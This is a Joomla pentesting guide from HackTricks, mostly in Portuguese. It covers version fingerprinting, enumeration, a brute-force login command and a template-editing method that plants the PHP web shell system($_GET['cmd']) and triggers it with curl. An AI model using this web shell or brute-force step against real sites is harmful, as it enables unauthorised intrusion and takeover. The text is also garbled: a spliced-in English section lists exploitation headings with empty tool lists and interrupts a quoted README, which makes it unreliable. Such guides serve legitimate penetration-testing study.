hacktricks/network-services-pentesting/pentesting-web/joomla.md
2023-06-06 18:56:34 +00:00

7.7 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estatísticas do Joomla

O Joomla coleta algumas estatísticas anônimas de uso, como a distribuição das versões do Joomla, PHP e banco de dados e sistemas operacionais do servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 6.33,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 12.24,
            "3.6": 22.85,
            "3.7": 7.99,
            "3.8": 17.72,
            "3.9": 27.24,
            "4.0": 3.21,
            "4.1": 1.53,
            "4.2": 0.82,
            "4.3": 0,
            "5.0": 0
        },
        "total": 2951032
    }
}

Enumeração

Descoberta/Footprinting

  • Verifique o meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

O arquivo robots.txt é um arquivo de texto que contém instruções para os robôs dos mecanismos de busca. Ele é usado para indicar quais páginas ou seções do site devem ser rastreadas ou não pelos robôs. É importante verificar se há informações sensíveis ou vulnerabilidades que possam ser exploradas pelos atacantes no arquivo robots.txt.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Enumeration

Version

To know the version of Joomla you can check the generator meta tag in the HTML code of the website or check the changelog.txt file in the root directory.

Components

To enumerate the components installed in Joomla you can use the following URL:

http://<target>/index.php?option=com_config&view=component&component=<component_name>

Modules

To enumerate the modules installed in Joomla you can use the following URL:

http://<target>/index.php?option=com_config&view=component&component=com_modules

Templates

To enumerate the templates installed in Joomla you can use the following URL:

http://<target>/index.php?option=com_config&view=component&component=com_templates

Users

To enumerate the users in Joomla you can use the following URL:

http://<target>/index.php?option=com_users&view=users

Vulnerabilities

To search for vulnerabilities in Joomla you can use the following tools:

Exploitation

SQL Injection

To exploit SQL injection vulnerabilities in Joomla you can use the following tools:

Remote Code Execution

To exploit remote code execution vulnerabilities in Joomla you can use the following tools:

File Upload

To exploit file upload vulnerabilities in Joomla you can use the following tools:

Password Hashes

To crack password hashes in Joomla you can use the following tools:

Reverse Shell

To get a reverse shell in Joomla you can use the following tools:

Privilege Escalation

To escalate privileges in Joomla you can use the following tools:

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versão

  • Em /administrator/manifests/files/joomla.xml você pode ver a versão.
  • Em /language/en-GB/en-GB.xml você pode obter a versão do Joomla.
  • Em plugins/system/cache/cache.xml você pode ver uma versão aproximada.

Automático

droopescan scan joomla --url http://joomla-site.local/

Em 80,443 - Metodologia de Pentesting Web há uma seção sobre scanners de CMS que podem escanear o Joomla.

Brute-Force

Você pode usar este script para tentar fazer brute force no login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
admin:admin

RCE

Se você conseguiu obter as credenciais de admin, você pode executar código remotamente (RCE) adicionando um trecho de código PHP para obter RCE. Podemos fazer isso personalizando um template.

  1. Clique em Templates na parte inferior esquerda em Configuration para abrir o menu de templates.
  2. Clique em um nome de template. Vamos escolher protostar sob o cabeçalho Template. Isso nos levará à página Templates: Customise.
  3. Finalmente, você pode clicar em uma página para abrir a fonte da página. Vamos escolher a página error.php. Vamos adicionar um comando PHP para obter a execução de código da seguinte forma:
    1. system($_GET['cmd']);
  4. Salvar e Fechar
  5. curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id